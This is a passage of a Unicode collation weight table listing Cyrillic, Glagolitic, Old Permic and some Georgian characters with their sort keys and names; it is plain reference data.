DOUBLE MONOCULAR O +A698 ; [.2062.0020.000A] # CYRILLIC CAPITAL LETTER DOUBLE O +A69A ; [.2062.0020.000A] # CYRILLIC CAPITAL LETTER CROSSED O +04E7 ; [.2062.0020.0002][.0000.002B.0002] # CYRILLIC SMALL LETTER O WITH DIAERESIS +04E6 ; [.2062.0020.0008][.0000.002B.0002] # CYRILLIC CAPITAL LETTER O WITH DIAERESIS +04E9 ; [.2066.0020.0002] # CYRILLIC SMALL LETTER BARRED O +04E8 ; [.2066.0020.0008] # CYRILLIC CAPITAL LETTER BARRED O +04EB ; [.2066.0020.0002][.0000.002B.0002] # CYRILLIC SMALL LETTER BARRED O WITH DIAERESIS +04EA ; [.2066.0020.0008][.0000.002B.0002] # CYRILLIC CAPITAL LETTER BARRED O WITH DIAERESIS +043F ; [.206A.0020.0002] # CYRILLIC SMALL LETTER PE +2DEB ; [.206A.0020.0004] # COMBINING CYRILLIC LETTER PE +041F ; [.206A.0020.0008] # CYRILLIC CAPITAL LETTER PE +0525 ; [.206E.0020.0002] # CYRILLIC SMALL LETTER PE WITH DESCENDER +0524 ; [.206E.0020.0008] # CYRILLIC CAPITAL LETTER PE WITH DESCENDER +04A7 ; [.206F.0020.0002] # CYRILLIC SMALL LETTER PE WITH MIDDLE HOOK +04A6 ; [.206F.0020.0008] # CYRILLIC CAPITAL LETTER PE WITH MIDDLE HOOK +0481 ; [.2073.0020.0002] # CYRILLIC SMALL LETTER KOPPA +0480 ; [.2073.0020.0008] # CYRILLIC CAPITAL LETTER KOPPA +0440 ; [.2077.0020.0002] # CYRILLIC SMALL LETTER ER +2DEC ; [.2077.0020.0004] # COMBINING CYRILLIC LETTER ER +0420 ; [.2077.0020.0008] # CYRILLIC CAPITAL LETTER ER +048F ; [.207B.0020.0002] # CYRILLIC SMALL LETTER ER WITH TICK +048E ; [.207B.0020.0008] # CYRILLIC CAPITAL LETTER ER WITH TICK +0517 ; [.207F.0020.0002] # CYRILLIC SMALL LETTER RHA +0516 ; [.207F.0020.0008] # CYRILLIC CAPITAL LETTER RHA +0441 ; [.2080.0020.0002] # CYRILLIC SMALL LETTER ES +2DED ; [.2080.0020.0004] # COMBINING CYRILLIC LETTER ES +0421 ; [.2080.0020.0008] # CYRILLIC CAPITAL LETTER ES +2DF5 ; [.2080.0020.0004][.2089.0020.0004] # COMBINING CYRILLIC LETTER ES-TE +050D ; [.2084.0020.0002] # CYRILLIC SMALL LETTER KOMI SJE +050C ; [.2084.0020.0008] # CYRILLIC CAPITAL LETTER KOMI SJE +04AB ; [.2085.0020.0002] # CYRILLIC SMALL LETTER ES WITH DESCENDER +04AA ; [.2085.0020.0008] # CYRILLIC CAPITAL LETTER ES WITH DESCENDER +0442 ; [.2089.0020.0002] # CYRILLIC SMALL LETTER TE +2DEE ; [.2089.0020.0004] # COMBINING CYRILLIC LETTER TE +0422 ; [.2089.0020.0008] # CYRILLIC CAPITAL LETTER TE +A68D ; [.208D.0020.0002] # CYRILLIC SMALL LETTER TWE +A68C ; [.208D.0020.0008] # CYRILLIC CAPITAL LETTER TWE +050F ; [.208E.0020.0002] # CYRILLIC SMALL LETTER KOMI TJE +050E ; [.208E.0020.0008] # CYRILLIC CAPITAL LETTER KOMI TJE +04AD ; [.208F.0020.0002] # CYRILLIC SMALL LETTER TE WITH DESCENDER +04AC ; [.208F.0020.0008] # CYRILLIC CAPITAL LETTER TE WITH DESCENDER +A68B ; [.2093.0020.0002] # CYRILLIC SMALL LETTER TE WITH MIDDLE HOOK +A68A ; [.2093.0020.0008] # CYRILLIC CAPITAL LETTER TE WITH MIDDLE HOOK +045B ; [.2094.0020.0002] # CYRILLIC SMALL LETTER TSHE +040B ; [.2094.0020.0008] # CYRILLIC CAPITAL LETTER TSHE +0443 ; [.2098.0020.0002] # CYRILLIC SMALL LETTER U +A677 ; [.2098.0020.0004] # COMBINING CYRILLIC LETTER U +0423 ; [.2098.0020.0008] # CYRILLIC CAPITAL LETTER U +045E ; [.2098.0020.0002][.0000.0026.0002] # CYRILLIC SMALL LETTER SHORT U +040E ; [.2098.0020.0008][.0000.0026.0002] # CYRILLIC CAPITAL LETTER SHORT U +04F1 ; [.2098.0020.0002][.0000.002B.0002] # CYRILLIC SMALL LETTER U WITH DIAERESIS +04F0 ; [.2098.0020.0008][.0000.002B.0002] # CYRILLIC CAPITAL LETTER U WITH DIAERESIS +04F3 ; [.2098.0020.0002][.0000.002C.0002] # CYRILLIC SMALL LETTER U WITH DOUBLE ACUTE +04F2 ; [.2098.0020.0008][.0000.002C.0002] # CYRILLIC CAPITAL LETTER U WITH DOUBLE ACUTE +04EF ; [.2098.0020.0002][.0000.0032.0002] # CYRILLIC SMALL LETTER U WITH MACRON +04EE ; [.2098.0020.0008][.0000.0032.0002] # CYRILLIC CAPITAL LETTER U WITH MACRON +04AF ; [.209C.0020.0002] # CYRILLIC SMALL LETTER STRAIGHT U +04AE ; [.209C.0020.0008] # CYRILLIC CAPITAL LETTER STRAIGHT U +04B1 ; [.20A0.0020.0002] # CYRILLIC SMALL LETTER STRAIGHT U WITH STROKE +04B0 ; [.20A0.0020.0008] # CYRILLIC CAPITAL LETTER STRAIGHT U WITH STROKE +A64B ; [.20A4.0020.0002] # CYRILLIC SMALL LETTER MONOGRAPH UK +2DF9 ; [.20A4.0020.0004] # COMBINING CYRILLIC LETTER MONOGRAPH UK +A64A ; [.20A4.0020.0008] # CYRILLIC CAPITAL LETTER MONOGRAPH UK +0479 ; [.20A5.0020.0002] # CYRILLIC SMALL LETTER UK +0478 ; [.20A5.0020.0008] # CYRILLIC CAPITAL LETTER UK +0444 ; [.20A9.0020.0002] # CYRILLIC SMALL LETTER EF +A69E ; [.20A9.0020.0004] # COMBINING CYRILLIC LETTER EF +0424 ; [.20A9.0020.0008] # CYRILLIC CAPITAL LETTER EF +0445 ; [.20AD.0020.0002] # CYRILLIC SMALL LETTER HA +2DEF ; [.20AD.0020.0004] # COMBINING CYRILLIC LETTER HA +0425 ; [.20AD.0020.0008] # CYRILLIC CAPITAL LETTER HA +04FD ; [.20B1.0020.0002] # CYRILLIC SMALL LETTER HA WITH HOOK +04FC ; [.20B1.0020.0008] # CYRILLIC CAPITAL LETTER HA WITH HOOK +04FF ; [.20B5.0020.0002] # CYRILLIC SMALL LETTER HA WITH STROKE +04FE ; [.20B5.0020.0008] # CYRILLIC CAPITAL LETTER HA WITH STROKE +04B3 ; [.20B9.0020.0002] # CYRILLIC SMALL LETTER HA WITH DESCENDER +04B2 ; [.20B9.0020.0008] # CYRILLIC CAPITAL LETTER HA WITH DESCENDER +04BB ; [.20BD.0020.0002] # CYRILLIC SMALL LETTER SHHA +04BA ; [.20BD.0020.0008] # CYRILLIC CAPITAL LETTER SHHA +0527 ; [.20C1.0020.0002] # CYRILLIC SMALL LETTER SHHA WITH DESCENDER +0526 ; [.20C1.0020.0008] # CYRILLIC CAPITAL LETTER SHHA WITH DESCENDER +A695 ; [.20C2.0020.0002] # CYRILLIC SMALL LETTER HWE +A694 ; [.20C2.0020.0008] # CYRILLIC CAPITAL LETTER HWE +0461 ; [.20C3.0020.0002] # CYRILLIC SMALL LETTER OMEGA +A67B ; [.20C3.0020.0004] # COMBINING CYRILLIC LETTER OMEGA +0460 ; [.20C3.0020.0008] # CYRILLIC CAPITAL LETTER OMEGA +047F ; [.20C7.0020.0002] # CYRILLIC SMALL LETTER OT +047E ; [.20C7.0020.0008] # CYRILLIC CAPITAL LETTER OT +A64D ; [.20CB.0020.0002] # CYRILLIC SMALL LETTER BROAD OMEGA +A64C ; [.20CB.0020.0008] # CYRILLIC CAPITAL LETTER BROAD OMEGA +047D ; [.20CC.0020.0002] # CYRILLIC SMALL LETTER OMEGA WITH TITLO +047C ; [.20CC.0020.0008] # CYRILLIC CAPITAL LETTER OMEGA WITH TITLO +047B ; [.20D0.0020.0002] # CYRILLIC SMALL LETTER ROUND OMEGA +047A ; [.20D0.0020.0008] # CYRILLIC CAPITAL LETTER ROUND OMEGA +0446 ; [.20D4.0020.0002] # CYRILLIC SMALL LETTER TSE +2DF0 ; [.20D4.0020.0004] # COMBINING CYRILLIC LETTER TSE +0426 ; [.20D4.0020.0008] # CYRILLIC CAPITAL LETTER TSE +A661 ; [.20D8.0020.0002] # CYRILLIC SMALL LETTER REVERSED TSE +A660 ; [.20D8.0020.0008] # CYRILLIC CAPITAL LETTER REVERSED TSE +A68F ; [.20D9.0020.0002] # CYRILLIC SMALL LETTER TSWE +A68E ; [.20D9.0020.0008] # CYRILLIC CAPITAL LETTER TSWE +04B5 ; [.20DA.0020.0002] # CYRILLIC SMALL LIGATURE TE TSE +04B4 ; [.20DA.0020.0008] # CYRILLIC CAPITAL LIGATURE TE TSE +A691 ; [.20DE.0020.0002] # CYRILLIC SMALL LETTER TSSE +A690 ; [.20DE.0020.0008] # CYRILLIC CAPITAL LETTER TSSE +0447 ; [.20DF.0020.0002] # CYRILLIC SMALL LETTER CHE +2DF1 ; [.20DF.0020.0004] # COMBINING CYRILLIC LETTER CHE +0427 ; [.20DF.0020.0008] # CYRILLIC CAPITAL LETTER CHE +04F5 ; [.20DF.0020.0002][.0000.002B.0002] # CYRILLIC SMALL LETTER CHE WITH DIAERESIS +04F4 ; [.20DF.0020.0008][.0000.002B.0002] # CYRILLIC CAPITAL LETTER CHE WITH DIAERESIS +052D ; [.20E3.0020.0002] # CYRILLIC SMALL LETTER DCHE +052C ; [.20E3.0020.0008] # CYRILLIC CAPITAL LETTER DCHE +A693 ; [.20E4.0020.0002] # CYRILLIC SMALL LETTER TCHE +A692 ; [.20E4.0020.0008] # CYRILLIC CAPITAL LETTER TCHE +04B7 ; [.20E5.0020.0002] # CYRILLIC SMALL LETTER CHE WITH DESCENDER +04B6 ; [.20E5.0020.0008] # CYRILLIC CAPITAL LETTER CHE WITH DESCENDER +04CC ; [.20E9.0020.0002] # CYRILLIC SMALL LETTER KHAKASSIAN CHE +04CB ; [.20E9.0020.0008] # CYRILLIC CAPITAL LETTER KHAKASSIAN CHE +04B9 ; [.20ED.0020.0002] # CYRILLIC SMALL LETTER CHE WITH VERTICAL STROKE +04B8 ; [.20ED.0020.0008] # CYRILLIC CAPITAL LETTER CHE WITH VERTICAL STROKE +A687 ; [.20F1.0020.0002] # CYRILLIC SMALL LETTER CCHE +A686 ; [.20F1.0020.0008] # CYRILLIC CAPITAL LETTER CCHE +04BD ; [.20F2.0020.0002] # CYRILLIC SMALL LETTER ABKHASIAN CHE +04BC ; [.20F2.0020.0008] # CYRILLIC CAPITAL LETTER ABKHASIAN CHE +04BF ; [.20F6.0020.0002] # CYRILLIC SMALL LETTER ABKHASIAN CHE WITH DESCENDER +04BE ; [.20F6.0020.0008] # CYRILLIC CAPITAL LETTER ABKHASIAN CHE WITH DESCENDER +045F ; [.20FA.0020.0002] # CYRILLIC SMALL LETTER DZHE +040F ; [.20FA.0020.0008] # CYRILLIC CAPITAL LETTER DZHE +0448 ; [.20FE.0020.0002] # CYRILLIC SMALL LETTER SHA +2DF2 ; [.20FE.0020.0004] # COMBINING CYRILLIC LETTER SHA +0428 ; [.20FE.0020.0008] # CYRILLIC CAPITAL LETTER SHA +A697 ; [.2102.0020.0002] # CYRILLIC SMALL LETTER SHWE +A696 ; [.2102.0020.0008] # CYRILLIC CAPITAL LETTER SHWE +0449 ; [.2103.0020.0002] # CYRILLIC SMALL LETTER SHCHA +2DF3 ; [.2103.0020.0004] # COMBINING CYRILLIC LETTER SHCHA +0429 ; [.2103.0020.0008] # CYRILLIC CAPITAL LETTER SHCHA +A64F ; [.2107.0020.0002] # CYRILLIC SMALL LETTER NEUTRAL YER +A64E ; [.2107.0020.0008] # CYRILLIC CAPITAL LETTER NEUTRAL YER +2E2F ; [.2108.0020.0002] # VERTICAL TILDE +A67F ; [.2109.0020.0002] # CYRILLIC PAYEROK +044A ; [.210A.0020.0002] # CYRILLIC SMALL LETTER HARD SIGN +A678 ; [.210A.0020.0004] # COMBINING CYRILLIC LETTER HARD SIGN +042A ; [.210A.0020.0008] # CYRILLIC CAPITAL LETTER HARD SIGN +A69C ; [.210A.0020.0014] # MODIFIER LETTER CYRILLIC HARD SIGN +A651 ; [.210E.0020.0002] # CYRILLIC SMALL LETTER YERU WITH BACK YER +A650 ; [.210E.0020.0008] # CYRILLIC CAPITAL LETTER YERU WITH BACK YER +044B ; [.210F.0020.0002] # CYRILLIC SMALL LETTER YERU +A679 ; [.210F.0020.0004] # COMBINING CYRILLIC LETTER YERU +042B ; [.210F.0020.0008] # CYRILLIC CAPITAL LETTER YERU +04F9 ; [.210F.0020.0002][.0000.002B.0002] # CYRILLIC SMALL LETTER YERU WITH DIAERESIS +04F8 ; [.210F.0020.0008][.0000.002B.0002] # CYRILLIC CAPITAL LETTER YERU WITH DIAERESIS +044C ; [.2113.0020.0002] # CYRILLIC SMALL LETTER SOFT SIGN +A67A ; [.2113.0020.0004] # COMBINING CYRILLIC LETTER SOFT SIGN +042C ; [.2113.0020.0008] # CYRILLIC CAPITAL LETTER SOFT SIGN +A69D ; [.2113.0020.0014] # MODIFIER LETTER CYRILLIC SOFT SIGN +048D ; [.2117.0020.0002] # CYRILLIC SMALL LETTER SEMISOFT SIGN +048C ; [.2117.0020.0008] # CYRILLIC CAPITAL LETTER SEMISOFT SIGN +0463 ; [.211B.0020.0002] # CYRILLIC SMALL LETTER YAT +2DFA ; [.211B.0020.0004] # COMBINING CYRILLIC LETTER YAT +0462 ; [.211B.0020.0008] # CYRILLIC CAPITAL LETTER YAT +A653 ; [.211F.0020.0002] # CYRILLIC SMALL LETTER IOTIFIED YAT +A652 ; [.211F.0020.0008] # CYRILLIC CAPITAL LETTER IOTIFIED YAT +044D ; [.2120.0020.0002] # CYRILLIC SMALL LETTER E +042D ; [.2120.0020.0008] # CYRILLIC CAPITAL LETTER E +04ED ; [.2120.0020.0002][.0000.002B.0002] # CYRILLIC SMALL LETTER E WITH DIAERESIS +04EC ; [.2120.0020.0008][.0000.002B.0002] # CYRILLIC CAPITAL LETTER E WITH DIAERESIS +044E ; [.2124.0020.0002] # CYRILLIC SMALL LETTER YU +2DFB ; [.2124.0020.0004] # COMBINING CYRILLIC LETTER YU +042E ; [.2124.0020.0008] # CYRILLIC CAPITAL LETTER YU +A655 ; [.2128.0020.0002] # CYRILLIC SMALL LETTER REVERSED YU +A654 ; [.2128.0020.0008] # CYRILLIC CAPITAL LETTER REVERSED YU +A657 ; [.2129.0020.0002] # CYRILLIC SMALL LETTER IOTIFIED A +2DFC ; [.2129.0020.0004] # COMBINING CYRILLIC LETTER IOTIFIED A +A656 ; [.2129.0020.0008] # CYRILLIC CAPITAL LETTER IOTIFIED A +044F ; [.212A.0020.0002] # CYRILLIC SMALL LETTER YA +042F ; [.212A.0020.0008] # CYRILLIC CAPITAL LETTER YA +0519 ; [.212E.0020.0002] # CYRILLIC SMALL LETTER YAE +0518 ; [.212E.0020.0008] # CYRILLIC CAPITAL LETTER YAE +0465 ; [.212F.0020.0002] # CYRILLIC SMALL LETTER IOTIFIED E +A69F ; [.212F.0020.0004] # COMBINING CYRILLIC LETTER IOTIFIED E +0464 ; [.212F.0020.0008] # CYRILLIC CAPITAL LETTER IOTIFIED E +0467 ; [.2133.0020.0002] # CYRILLIC SMALL LETTER LITTLE YUS +2DFD ; [.2133.0020.0004] # COMBINING CYRILLIC LETTER LITTLE YUS +0466 ; [.2133.0020.0008] # CYRILLIC CAPITAL LETTER LITTLE YUS +A659 ; [.2137.0020.0002] # CYRILLIC SMALL LETTER CLOSED LITTLE YUS +A658 ; [.2137.0020.0008] # CYRILLIC CAPITAL LETTER CLOSED LITTLE YUS +046B ; [.2138.0020.0002] # CYRILLIC SMALL LETTER BIG YUS +2DFE ; [.2138.0020.0004] # COMBINING CYRILLIC LETTER BIG YUS +046A ; [.2138.0020.0008] # CYRILLIC CAPITAL LETTER BIG YUS +A65B ; [.213C.0020.0002] # CYRILLIC SMALL LETTER BLENDED YUS +A65A ; [.213C.0020.0008] # CYRILLIC CAPITAL LETTER BLENDED YUS +0469 ; [.213D.0020.0002] # CYRILLIC SMALL LETTER IOTIFIED LITTLE YUS +0468 ; [.213D.0020.0008] # CYRILLIC CAPITAL LETTER IOTIFIED LITTLE YUS +A65D ; [.2141.0020.0002] # CYRILLIC SMALL LETTER IOTIFIED CLOSED LITTLE YUS +A65C ; [.2141.0020.0008] # CYRILLIC CAPITAL LETTER IOTIFIED CLOSED LITTLE YUS +046D ; [.2142.0020.0002] # CYRILLIC SMALL LETTER IOTIFIED BIG YUS +2DFF ; [.2142.0020.0004] # COMBINING CYRILLIC LETTER IOTIFIED BIG YUS +046C ; [.2142.0020.0008] # CYRILLIC CAPITAL LETTER IOTIFIED BIG YUS +046F ; [.2146.0020.0002] # CYRILLIC SMALL LETTER KSI +046E ; [.2146.0020.0008] # CYRILLIC CAPITAL LETTER KSI +0471 ; [.214A.0020.0002] # CYRILLIC SMALL LETTER PSI +0470 ; [.214A.0020.0008] # CYRILLIC CAPITAL LETTER PSI +0473 ; [.214E.0020.0002] # CYRILLIC SMALL LETTER FITA +2DF4 ; [.214E.0020.0004] # COMBINING CYRILLIC LETTER FITA +0472 ; [.214E.0020.0008] # CYRILLIC CAPITAL LETTER FITA +0475 ; [.2152.0020.0002] # CYRILLIC SMALL LETTER IZHITSA +0474 ; [.2152.0020.0008] # CYRILLIC CAPITAL LETTER IZHITSA +0477 ; [.2152.0020.0002][.0000.003C.0002] # CYRILLIC SMALL LETTER IZHITSA WITH DOUBLE GRAVE ACCENT +0476 ; [.2152.0020.0008][.0000.003C.0002] # CYRILLIC CAPITAL LETTER IZHITSA WITH DOUBLE GRAVE ACCENT +A65F ; [.2156.0020.0002] # CYRILLIC SMALL LETTER YN +A65E ; [.2156.0020.0008] # CYRILLIC CAPITAL LETTER YN +04A9 ; [.2157.0020.0002] # CYRILLIC SMALL LETTER ABKHASIAN HA +04A8 ; [.2157.0020.0008] # CYRILLIC CAPITAL LETTER ABKHASIAN HA +051D ; [.215B.0020.0002] # CYRILLIC SMALL LETTER WE +051C ; [.215B.0020.0008] # CYRILLIC CAPITAL LETTER WE +04CF ; [.215C.0020.0002] # CYRILLIC SMALL LETTER PALOCHKA +04C0 ; [.215C.0020.0008] # CYRILLIC LETTER PALOCHKA +2C30 ; [.2160.0020.0002] # GLAGOLITIC SMALL LETTER AZU +2C00 ; [.2160.0020.0008] # GLAGOLITIC CAPITAL LETTER AZU +2C31 ; [.2161.0020.0002] # GLAGOLITIC SMALL LETTER BUKY +2C01 ; [.2161.0020.0008] # GLAGOLITIC CAPITAL LETTER BUKY +2C32 ; [.2162.0020.0002] # GLAGOLITIC SMALL LETTER VEDE +2C02 ; [.2162.0020.0008] # GLAGOLITIC CAPITAL LETTER VEDE +2C33 ; [.2163.0020.0002] # GLAGOLITIC SMALL LETTER GLAGOLI +2C03 ; [.2163.0020.0008] # GLAGOLITIC CAPITAL LETTER GLAGOLI +2C34 ; [.2164.0020.0002] # GLAGOLITIC SMALL LETTER DOBRO +2C04 ; [.2164.0020.0008] # GLAGOLITIC CAPITAL LETTER DOBRO +2C35 ; [.2165.0020.0002] # GLAGOLITIC SMALL LETTER YESTU +2C05 ; [.2165.0020.0008] # GLAGOLITIC CAPITAL LETTER YESTU +2C36 ; [.2166.0020.0002] # GLAGOLITIC SMALL LETTER ZHIVETE +2C06 ; [.2166.0020.0008] # GLAGOLITIC CAPITAL LETTER ZHIVETE +2C37 ; [.2167.0020.0002] # GLAGOLITIC SMALL LETTER DZELO +2C07 ; [.2167.0020.0008] # GLAGOLITIC CAPITAL LETTER DZELO +2C38 ; [.2168.0020.0002] # GLAGOLITIC SMALL LETTER ZEMLJA +2C08 ; [.2168.0020.0008] # GLAGOLITIC CAPITAL LETTER ZEMLJA +2C39 ; [.2169.0020.0002] # GLAGOLITIC SMALL LETTER IZHE +2C09 ; [.2169.0020.0008] # GLAGOLITIC CAPITAL LETTER IZHE +2C3A ; [.216A.0020.0002] # GLAGOLITIC SMALL LETTER INITIAL IZHE +2C0A ; [.216A.0020.0008] # GLAGOLITIC CAPITAL LETTER INITIAL IZHE +2C3B ; [.216B.0020.0002] # GLAGOLITIC SMALL LETTER I +2C0B ; [.216B.0020.0008] # GLAGOLITIC CAPITAL LETTER I +2C3C ; [.216C.0020.0002] # GLAGOLITIC SMALL LETTER DJERVI +2C0C ; [.216C.0020.0008] # GLAGOLITIC CAPITAL LETTER DJERVI +2C3D ; [.216D.0020.0002] # GLAGOLITIC SMALL LETTER KAKO +2C0D ; [.216D.0020.0008] # GLAGOLITIC CAPITAL LETTER KAKO +2C3E ; [.216E.0020.0002] # GLAGOLITIC SMALL LETTER LJUDIJE +2C0E ; [.216E.0020.0008] # GLAGOLITIC CAPITAL LETTER LJUDIJE +2C3F ; [.216F.0020.0002] # GLAGOLITIC SMALL LETTER MYSLITE +2C0F ; [.216F.0020.0008] # GLAGOLITIC CAPITAL LETTER MYSLITE +2C40 ; [.2170.0020.0002] # GLAGOLITIC SMALL LETTER NASHI +2C10 ; [.2170.0020.0008] # GLAGOLITIC CAPITAL LETTER NASHI +2C41 ; [.2171.0020.0002] # GLAGOLITIC SMALL LETTER ONU +2C11 ; [.2171.0020.0008] # GLAGOLITIC CAPITAL LETTER ONU +2C42 ; [.2172.0020.0002] # GLAGOLITIC SMALL LETTER POKOJI +2C12 ; [.2172.0020.0008] # GLAGOLITIC CAPITAL LETTER POKOJI +2C43 ; [.2173.0020.0002] # GLAGOLITIC SMALL LETTER RITSI +2C13 ; [.2173.0020.0008] # GLAGOLITIC CAPITAL LETTER RITSI +2C44 ; [.2174.0020.0002] # GLAGOLITIC SMALL LETTER SLOVO +2C14 ; [.2174.0020.0008] # GLAGOLITIC CAPITAL LETTER SLOVO +2C45 ; [.2175.0020.0002] # GLAGOLITIC SMALL LETTER TVRIDO +2C15 ; [.2175.0020.0008] # GLAGOLITIC CAPITAL LETTER TVRIDO +2C46 ; [.2176.0020.0002] # GLAGOLITIC SMALL LETTER UKU +2C16 ; [.2176.0020.0008] # GLAGOLITIC CAPITAL LETTER UKU +2C47 ; [.2177.0020.0002] # GLAGOLITIC SMALL LETTER FRITU +2C17 ; [.2177.0020.0008] # GLAGOLITIC CAPITAL LETTER FRITU +2C48 ; [.2178.0020.0002] # GLAGOLITIC SMALL LETTER HERU +2C18 ; [.2178.0020.0008] # GLAGOLITIC CAPITAL LETTER HERU +2C49 ; [.2179.0020.0002] # GLAGOLITIC SMALL LETTER OTU +2C19 ; [.2179.0020.0008] # GLAGOLITIC CAPITAL LETTER OTU +2C4A ; [.217A.0020.0002] # GLAGOLITIC SMALL LETTER PE +2C1A ; [.217A.0020.0008] # GLAGOLITIC CAPITAL LETTER PE +2C4B ; [.217B.0020.0002] # GLAGOLITIC SMALL LETTER SHTA +2C1B ; [.217B.0020.0008] # GLAGOLITIC CAPITAL LETTER SHTA +2C4C ; [.217C.0020.0002] # GLAGOLITIC SMALL LETTER TSI +2C1C ; [.217C.0020.0008] # GLAGOLITIC CAPITAL LETTER TSI +2C4D ; [.217D.0020.0002] # GLAGOLITIC SMALL LETTER CHRIVI +2C1D ; [.217D.0020.0008] # GLAGOLITIC CAPITAL LETTER CHRIVI +2C4E ; [.217E.0020.0002] # GLAGOLITIC SMALL LETTER SHA +2C1E ; [.217E.0020.0008] # GLAGOLITIC CAPITAL LETTER SHA +2C4F ; [.217F.0020.0002] # GLAGOLITIC SMALL LETTER YERU +2C1F ; [.217F.0020.0008] # GLAGOLITIC CAPITAL LETTER YERU +2C50 ; [.2180.0020.0002] # GLAGOLITIC SMALL LETTER YERI +2C20 ; [.2180.0020.0008] # GLAGOLITIC CAPITAL LETTER YERI +2C51 ; [.2181.0020.0002] # GLAGOLITIC SMALL LETTER YATI +2C21 ; [.2181.0020.0008] # GLAGOLITIC CAPITAL LETTER YATI +2C52 ; [.2182.0020.0002] # GLAGOLITIC SMALL LETTER SPIDERY HA +2C22 ; [.2182.0020.0008] # GLAGOLITIC CAPITAL LETTER SPIDERY HA +2C53 ; [.2183.0020.0002] # GLAGOLITIC SMALL LETTER YU +2C23 ; [.2183.0020.0008] # GLAGOLITIC CAPITAL LETTER YU +2C54 ; [.2184.0020.0002] # GLAGOLITIC SMALL LETTER SMALL YUS +2C24 ; [.2184.0020.0008] # GLAGOLITIC CAPITAL LETTER SMALL YUS +2C55 ; [.2185.0020.0002] # GLAGOLITIC SMALL LETTER SMALL YUS WITH TAIL +2C25 ; [.2185.0020.0008] # GLAGOLITIC CAPITAL LETTER SMALL YUS WITH TAIL +2C56 ; [.2186.0020.0002] # GLAGOLITIC SMALL LETTER YO +2C26 ; [.2186.0020.0008] # GLAGOLITIC CAPITAL LETTER YO +2C57 ; [.2187.0020.0002] # GLAGOLITIC SMALL LETTER IOTATED SMALL YUS +2C27 ; [.2187.0020.0008] # GLAGOLITIC CAPITAL LETTER IOTATED SMALL YUS +2C58 ; [.2188.0020.0002] # GLAGOLITIC SMALL LETTER BIG YUS +2C28 ; [.2188.0020.0008] # GLAGOLITIC CAPITAL LETTER BIG YUS +2C59 ; [.2189.0020.0002] # GLAGOLITIC SMALL LETTER IOTATED BIG YUS +2C29 ; [.2189.0020.0008] # GLAGOLITIC CAPITAL LETTER IOTATED BIG YUS +2C5A ; [.218A.0020.0002] # GLAGOLITIC SMALL LETTER FITA +2C2A ; [.218A.0020.0008] # GLAGOLITIC CAPITAL LETTER FITA +2C5B ; [.218B.0020.0002] # GLAGOLITIC SMALL LETTER IZHITSA +2C2B ; [.218B.0020.0008] # GLAGOLITIC CAPITAL LETTER IZHITSA +2C5C ; [.218C.0020.0002] # GLAGOLITIC SMALL LETTER SHTAPIC +2C2C ; [.218C.0020.0008] # GLAGOLITIC CAPITAL LETTER SHTAPIC +2C5D ; [.218D.0020.0002] # GLAGOLITIC SMALL LETTER TROKUTASTI A +2C2D ; [.218D.0020.0008] # GLAGOLITIC CAPITAL LETTER TROKUTASTI A +2C5E ; [.218E.0020.0002] # GLAGOLITIC SMALL LETTER LATINATE MYSLITE +2C2E ; [.218E.0020.0008] # GLAGOLITIC CAPITAL LETTER LATINATE MYSLITE +10350 ; [.218F.0020.0002] # OLD PERMIC LETTER AN +10376 ; [.218F.0020.0004] # COMBINING OLD PERMIC LETTER AN +10351 ; [.2190.0020.0002] # OLD PERMIC LETTER BUR +10352 ; [.2191.0020.0002] # OLD PERMIC LETTER GAI +10353 ; [.2192.0020.0002] # OLD PERMIC LETTER DOI +10377 ; [.2192.0020.0004] # COMBINING OLD PERMIC LETTER DOI +10354 ; [.2193.0020.0002] # OLD PERMIC LETTER E +10355 ; [.2194.0020.0002] # OLD PERMIC LETTER ZHOI +10356 ; [.2195.0020.0002] # OLD PERMIC LETTER DZHOI +10357 ; [.2196.0020.0002] # OLD PERMIC LETTER ZATA +10378 ; [.2196.0020.0004] # COMBINING OLD PERMIC LETTER ZATA +10358 ; [.2197.0020.0002] # OLD PERMIC LETTER DZITA +10359 ; [.2198.0020.0002] # OLD PERMIC LETTER I +1035A ; [.2199.0020.0002] # OLD PERMIC LETTER KOKE +1035B ; [.219A.0020.0002] # OLD PERMIC LETTER LEI +1035C ; [.219B.0020.0002] # OLD PERMIC LETTER MENOE +1035D ; [.219C.0020.0002] # OLD PERMIC LETTER NENOE +10379 ; [.219C.0020.0004] # COMBINING OLD PERMIC LETTER NENOE +1035E ; [.219D.0020.0002] # OLD PERMIC LETTER VOOI +1035F ; [.219E.0020.0002] # OLD PERMIC LETTER PEEI +10360 ; [.219F.0020.0002] # OLD PERMIC LETTER REI +10361 ; [.21A0.0020.0002] # OLD PERMIC LETTER SII +1037A ; [.21A0.0020.0004] # COMBINING OLD PERMIC LETTER SII +10362 ; [.21A1.0020.0002] # OLD PERMIC LETTER TAI +10363 ; [.21A2.0020.0002] # OLD PERMIC LETTER U +10364 ; [.21A3.0020.0002] # OLD PERMIC LETTER CHERY +10365 ; [.21A4.0020.0002] # OLD PERMIC LETTER SHOOI +10366 ; [.21A5.0020.0002] # OLD PERMIC LETTER SHCHOOI +10367 ; [.21A6.0020.0002] # OLD PERMIC LETTER YRY +10368 ; [.21A7.0020.0002] # OLD PERMIC LETTER YERU +10369 ; [.21A8.0020.0002] # OLD PERMIC LETTER O +1036A ; [.21A9.0020.0002] # OLD PERMIC LETTER OO +1036B ; [.21AA.0020.0002] # OLD PERMIC LETTER EF +1036C ; [.21AB.0020.0002] # OLD PERMIC LETTER HA +1036D ; [.21AC.0020.0002] # OLD PERMIC LETTER TSIU +1036E ; [.21AD.0020.0002] # OLD PERMIC LETTER VER +1036F ; [.21AE.0020.0002] # OLD PERMIC LETTER YER +10370 ; [.21AF.0020.0002] # OLD PERMIC LETTER YERI +10371 ; [.21B0.0020.0002] # OLD PERMIC LETTER YAT +10372 ; [.21B1.0020.0002] # OLD PERMIC LETTER IE +10373 ; [.21B2.0020.0002] # OLD PERMIC LETTER YU +10374 ; [.21B3.0020.0002] # OLD PERMIC LETTER YA +10375 ; [.21B4.0020.0002] # OLD PERMIC LETTER IA +10D0 ; [.21B5.0020.0002] # GEORGIAN LETTER AN +2D00 ; [.21B6.0020.0002] # GEORGIAN SMALL LETTER AN +10A0 ; [.21B6.0020.0008] # GEORGIAN CAPITAL LETTER AN +10D1 ; [.21B7.0020.0002] # GEORGIAN LETTER BAN +2D01 ; [.21B8.0020.0002] # GEORGIAN SMALL LETTER BAN +10A1 ; [.21B8.0020.0008] # GEORGIAN CAPITAL LETTER BAN +10D2 ; [.21B9.0020.0002] # GEORGIAN LETTER GAN +2D02 ; [.21BA.0020.0002] # GEORGIAN SMALL LETTER GAN +10A2 ; [.21BA.0020.0008] # GEORGIAN CAPITAL LETTER GAN 